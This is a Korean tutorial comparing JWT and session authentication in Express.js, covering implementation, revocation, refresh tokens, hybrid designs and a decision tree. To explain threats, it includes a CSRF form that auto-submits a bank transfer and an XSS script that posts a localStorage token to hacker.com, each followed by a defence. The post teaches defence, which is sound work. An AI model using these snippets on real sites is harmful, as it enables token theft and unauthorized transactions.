JWT vs Session 인증 - 어떤 방식을 선택해야 할까?
웹 애플리케이션 인증 방식을 선택할 때 가장 많이 고민하는 것이 "JWT를 쓸까, 세션을 쓸까?"입니다. 이 글에서는 두 방식의 차이점과 장단점을 명확하게 비교하고, 프로젝트에 맞는 선택 가이드를 제공합니다.
빠른 비교표
| 항목 | JWT | Session |
| 저장 위치 | 클라이언트 (localStorage/쿠키) | 서버 (메모리/DB/Redis) |
| 상태 | Stateless (무상태) | Stateful (상태 유지) |
| 확장성 | 높음 ⭐⭐⭐⭐⭐ | 낮음 ⭐⭐ |
| 보안 | XSS 위험 ⚠️ | CSRF 위험 ⚠️ |
| 서버 부하 | 낮음 | 높음 (세션 조회) |
| 토큰 크기 | 큼 (200-500 bytes) | 작음 (32 bytes) |
| 즉시 무효화 | 어려움 ❌ | 쉬움 ✅ |
| 모바일 | 적합 ✅ | 부적합 ❌ |
| 마이크로서비스 | 적합 ✅ | 부적합 ❌ |
Session 기반 인증
작동 방식
1. 로그인 요청
↓
2. 서버: 세션 생성 및 저장 (메모리/DB/Redis)
세션 ID: "abc123"
세션 데이터: { userId: 1, email: "user@example.com" }
↓
3. 클라이언트에 세션 ID 전달 (쿠키)
Set-Cookie: sessionId=abc123; HttpOnly; Secure
↓
4. 이후 요청마다 쿠키로 세션 ID 전송
Cookie: sessionId=abc123
↓
5. 서버: 세션 ID로 세션 데이터 조회
↓
6. 요청 처리
구현 예제 (Express.js)
const session = require('express-session');
const RedisStore = require('connect-redis')(session);
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // XSS 방지
secure: true, // HTTPS only
maxAge: 3600000 // 1시간
}
}));
// 로그인
app.post('/login', async (req, res) => {
const user = await User.findOne({ email: req.body.email });
if (user && await bcrypt.compare(req.body.password, user.password)) {
// 세션에 사용자 정보 저장
req.session.userId = user.id;
req.session.email = user.email;
res.json({ success: true });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// 보호된 라우트
app.get('/profile', (req, res) => {
if (!req.session.userId) {
return res.status(401).json({ error: 'Unauthorized' });
}
res.json({
userId: req.session.userId,
email: req.session.email
});
});
// 로그아웃
app.post('/logout', (req, res) => {
req.session.destroy();
res.json({ success: true });
});
Session의 장점
#### ✅ 1. 즉시 무효화 가능
// 특정 사용자 세션 삭제
sessionStore.destroy(sessionId);
// 모든 사용자 세션 삭제
sessionStore.clear();
로그아웃, 비밀번호 변경, 계정 정지 시 즉시 반영됩니다.
#### ✅ 2. 서버 제어
모든 세션 정보가 서버에 있어 완벽한 제어 가능:
- 동시 로그인 제한
- 세션 타임아웃 조정
- 의심스러운 세션 강제 종료
#### ✅ 3. 작은 쿠키 크기
Session: sessionId=abc123 (32 bytes)
JWT: eyJhbGciOiJIUz... (300+ bytes)
#### ✅ 4. 민감한 정보 보호
사용자 정보가 서버에만 존재하므로 클라이언트에서 조작 불가능
Session의 단점
#### ❌ 1. 서버 메모리 사용
// 사용자 10,000명 × 세션 데이터 1KB = 10MB
// 사용자 1,000,000명 = 1GB
해결책: Redis 같은 외부 저장소 사용
const RedisStore = require('connect-redis')(session);
const redis = require('redis');
const redisClient = redis.createClient();
app.use(session({
store: new RedisStore({ client: redisClient })
}));
#### ❌ 2. 수평 확장 어려움
[서버1] - [Redis] - [서버2]
↑ ↑
사용자A 사용자A
모든 서버가 같은 세션 저장소를 공유해야 함
#### ❌ 3. CSRF 공격 위험
<!-- 악의적인 사이트 -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="hacker-account">
<input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>
해결책: CSRF 토큰 사용
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.post('/transfer', csrfProtection, (req, res) => {
// CSRF 토큰 검증 후 처리
});
#### ❌ 4. 모바일 앱 부적합
쿠키 관리가 복잡하고 플랫폼별 동작이 다름
JWT 기반 인증
작동 방식
1. 로그인 요청
↓
2. 서버: JWT 생성 (서버 저장 ❌)
Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
↓
3. 클라이언트에 토큰 전달
{ "token": "eyJhbGc..." }
↓
4. 클라이언트: 토큰 저장 (localStorage)
↓
5. 이후 요청마다 토큰 전송
Authorization: Bearer eyJhbGc...
↓
6. 서버: 토큰 검증만 (DB 조회 ❌)
↓
7. 요청 처리
구현 예제
const jwt = require('jsonwebtoken');
// 로그인
app.post('/login', async (req, res) => {
const user = await User.findOne({ email: req.body.email });
if (user && await bcrypt.compare(req.body.password, user.password)) {
// JWT 생성
const token = jwt.sign(
{
userId: user.id,
email: user.email,
role: user.role
},
process.env.JWT_SECRET,
{ expiresIn: '1h' }
);
res.json({ token });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// 인증 미들웨어
function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'Token required' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (error) {
res.status(403).json({ error: 'Invalid token' });
}
}
// 보호된 라우트
app.get('/profile', authenticate, (req, res) => {
res.json({
userId: req.user.userId,
email: req.user.email
});
});
JWT의 장점
#### ✅ 1. 확장성 (Scalability)
[로드밸런서]
↓
├─→ [서버1] (토큰 검증)
├─→ [서버2] (토큰 검증)
└─→ [서버3] (토큰 검증)
세션 저장소 공유 불필요!
#### ✅ 2. 무상태 (Stateless)
// 세션: DB 조회 필요
const session = await sessionStore.get(sessionId);
// JWT: 검증만 하면 됨 (DB 조회 ❌)
const user = jwt.verify(token, secret);
서버 메모리 사용량 감소, 성능 향상
#### ✅ 3. 마이크로서비스 적합
[API Gateway] - JWT 검증
↓
├─→ [User Service] - 토큰 재사용
├─→ [Order Service] - 토큰 재사용
└─→ [Payment Service] - 토큰 재사용
각 서비스가 독립적으로 토큰 검증 가능
#### ✅ 4. 모바일 친화적
// React Native / Flutter
const token = await AsyncStorage.getItem('token');
fetch('https://api.example.com/data', {
headers: {
'Authorization': `Bearer ${token}`
}
});
#### ✅ 5. CORS 문제 없음
https://frontend.com → https://api.backend.com
(쿠키 X, Authorization 헤더 O)
JWT의 단점
#### ❌ 1. 토큰 취소 불가
// 문제 상황
const token = jwt.sign({ userId: 1 }, secret, { expiresIn: '7d' });
// 1시간 후 로그아웃 → 토큰은 여전히 유효! (6일 23시간 남음)
해결책 1: Blacklist
const blacklist = new Set();
app.post('/logout', authenticate, (req, res) => {
blacklist.add(req.headers.authorization.split(' ')[1]);
res.json({ success: true });
});
function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (blacklist.has(token)) {
return res.status(401).json({ error: 'Token revoked' });
}
// 검증 계속...
}
해결책 2: Refresh Token 패턴
// Access Token: 짧은 수명 (15분)
const accessToken = jwt.sign(payload, secret, { expiresIn: '15m' });
// Refresh Token: 긴 수명 (7일), DB에 저장
const refreshToken = jwt.sign(payload, refreshSecret, { expiresIn: '7d' });
await RefreshToken.create({ userId, token: refreshToken });
// Refresh Token으로 새 Access Token 발급
app.post('/token/refresh', async (req, res) => {
const { refreshToken } = req.body;
// DB에서 Refresh Token 확인
const stored = await RefreshToken.findOne({ token: refreshToken });
if (!stored) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// 새 Access Token 발급
const decoded = jwt.verify(refreshToken, refreshSecret);
const newAccessToken = jwt.sign(
{ userId: decoded.userId },
secret,
{ expiresIn: '15m' }
);
res.json({ accessToken: newAccessToken });
});
// 로그아웃: Refresh Token 삭제
app.post('/logout', async (req, res) => {
await RefreshToken.deleteOne({ token: req.body.refreshToken });
res.json({ success: true });
});
#### ❌ 2. XSS 공격 위험
// localStorage에 저장된 토큰
localStorage.setItem('token', token);
// 악의적인 스크립트
<script>
fetch('https://hacker.com/steal', {
method: 'POST',
body: localStorage.getItem('token')
});
</script>
해결책: HttpOnly 쿠키
// 서버에서 쿠키로 전송
res.cookie('token', token, {
httpOnly: true, // JavaScript 접근 불가
secure: true, // HTTPS only
sameSite: 'strict' // CSRF 방지
});
// 클라이언트는 자동으로 쿠키 전송 (JavaScript 불필요)
#### ❌ 3. 토큰 크기
Session Cookie: sessionId=abc123 (32 bytes)
JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (300+ bytes)
매 요청마다 300 bytes 추가 전송
→ 트래픽 증가
해결책: 필요한 클레임만 포함
// Bad: 불필요한 정보 포함
const token = jwt.sign({
userId: 1,
email: 'user@example.com',
name: 'John Doe',
address: '123 Main St',
phone: '010-1234-5678',
bio: 'Long bio text...'
}, secret);
// Good: 필수 정보만
const token = jwt.sign({
userId: 1,
role: 'user'
}, secret);
언제 무엇을 선택해야 할까?
Session을 선택해야 하는 경우
#### ✅ 전통적인 웹 애플리케이션
- 단일 서버 또는 적은 수의 서버
- 주로 웹 브라우저 사용
- 강력한 세션 제어 필요
- 예: 관리자 대시보드, 내부 도구
#### ✅ 높은 보안이 필요한 경우
- 은행, 금융 서비스
- 즉시 로그아웃 필수
- 동시 로그인 제한 필요
#### ✅ 작은 규모 프로젝트
- 사용자 수 < 10,000
- 간단한 인증만 필요
- 빠른 개발 원함
JWT를 선택해야 하는 경우
#### ✅ 마이크로서비스 아키텍처
[API Gateway]
↓
├─→ [Auth Service]
├─→ [User Service]
├─→ [Order Service]
└─→ [Payment Service]
각 서비스가 독립적으로 토큰 검증
#### ✅ 모바일 앱 + 웹 서비스
[백엔드 API]
↑
├─→ iOS App (JWT)
├─→ Android App (JWT)
└─→ Web App (JWT)
모든 플랫폼에서 동일한 인증 방식
#### ✅ 높은 확장성 필요
사용자 수 > 100,000
수평 확장 (서버 추가) 빈번
글로벌 서비스 (CDN 활용)
#### ✅ 제3자 API 연동
[Your App] → [Partner API]
↑
JWT 토큰으로 인증
하이브리드 접근법
실무에서는 두 방식을 혼합하여 사용하기도 합니다.
패턴 1: JWT + Redis
// JWT 발급 시 Redis에도 저장
const token = jwt.sign(payload, secret, { expiresIn: '1h' });
await redis.setex(`token:${userId}`, 3600, token);
// 검증 시 Redis 확인
const storedToken = await redis.get(`token:${userId}`);
if (token !== storedToken) {
throw new Error('Token revoked');
}
// 로그아웃 시 Redis에서 삭제
await redis.del(`token:${userId}`);
장점:
- JWT의 확장성 + Session의 즉시 무효화
패턴 2: Session + JWT
// 세션에 JWT 저장
req.session.token = jwt.sign(payload, secret);
// 마이크로서비스 호출 시 JWT 사용
const response = await fetch('https://api.service.com/data', {
headers: {
'Authorization': `Bearer ${req.session.token}`
}
});
장점:
- 웹에서는 세션 사용 (편리함)
- 서비스 간 통신은 JWT (확장성)
보안 비교
| 공격 유형 | Session | JWT |
| XSS | HttpOnly 쿠키로 방어 ✅ | localStorage 사용 시 취약 ⚠️ |
| CSRF | CSRF 토큰 필요 ⚠️ | Authorization 헤더 사용 시 안전 ✅ |
| 중간자 공격 | HTTPS 필수 ⚠️ | HTTPS 필수 ⚠️ |
| 세션 하이재킹 | 세션 ID 탈취 위험 ⚠️ | 토큰 탈취 위험 ⚠️ |
| 무차별 대입 | Rate Limiting 필요 ⚠️ | Rate Limiting 필요 ⚠️ |
공통 보안 조치:
- ✅ HTTPS 사용
- ✅ Rate Limiting
- ✅ 짧은 만료 시간
- ✅ 강력한 비밀키/Salt
성능 비교
요청당 처리 시간
// Session: DB 조회 필요
GET /profile
├─ 1ms: 네트워크
├─ 5ms: Redis 조회 (세션 데이터)
└─ 2ms: 응답 생성
= 총 8ms
// JWT: 검증만
GET /profile
├─ 1ms: 네트워크
├─ 0.5ms: JWT 검증 (CPU만)
└─ 2ms: 응답 생성
= 총 3.5ms
JWT가 2배 이상 빠름 (단, Redis를 사용한 경우)
메모리 사용량
Session (사용자 100,000명):
- 메모리: 100MB (1KB/user)
- Redis: 필요
JWT (사용자 100,000명):
- 메모리: 0MB
- Redis: 불필요
실전 예제: 전환 가이드
Session → JWT 마이그레이션
// 1단계: 병렬 실행 (Session + JWT 모두 발급)
app.post('/login', async (req, res) => {
const user = await authenticate(req.body);
// Session 생성 (기존)
req.session.userId = user.id;
// JWT 발급 (신규)
const token = jwt.sign({ userId: user.id }, secret);
res.json({
sessionId: req.sessionID, // 기존 앱용
token // 신규 앱용
});
});
// 2단계: 두 방식 모두 지원
function authenticate(req, res, next) {
// JWT 우선 확인
const token = req.headers.authorization?.split(' ')[1];
if (token) {
try {
req.user = jwt.verify(token, secret);
return next();
} catch {}
}
// Session 확인 (fallback)
if (req.session.userId) {
req.user = { userId: req.session.userId };
return next();
}
res.status(401).json({ error: 'Unauthorized' });
}
// 3단계: Session 제거 (모든 클라이언트가 JWT로 전환 후)
결론 및 추천
2025년 권장 사항
신규 프로젝트:
- 🟢 JWT 추천 (확장성, 모던 아키텍처)
- Refresh Token 패턴 필수
- HttpOnly 쿠키에 저장
기존 프로젝트:
- 🟡 Session 유지 (안정성 우선)
- 필요시 점진적 마이그레이션
대규모 서비스:
- 🟢 JWT + Redis (하이브리드)
- 확장성 + 제어력
빠른 결정 트리
프로젝트 규모?
├─ 소규모 (< 10,000 users)
│ └─ Session ✅
│
├─ 중규모 (10,000 - 100,000 users)
│ ├─ 모바일 앱? → JWT ✅
│ └─ 웹만? → Session or JWT
│
└─ 대규모 (> 100,000 users)
└─ JWT (+ Redis) ✅
관련 도구:
더 알아보기: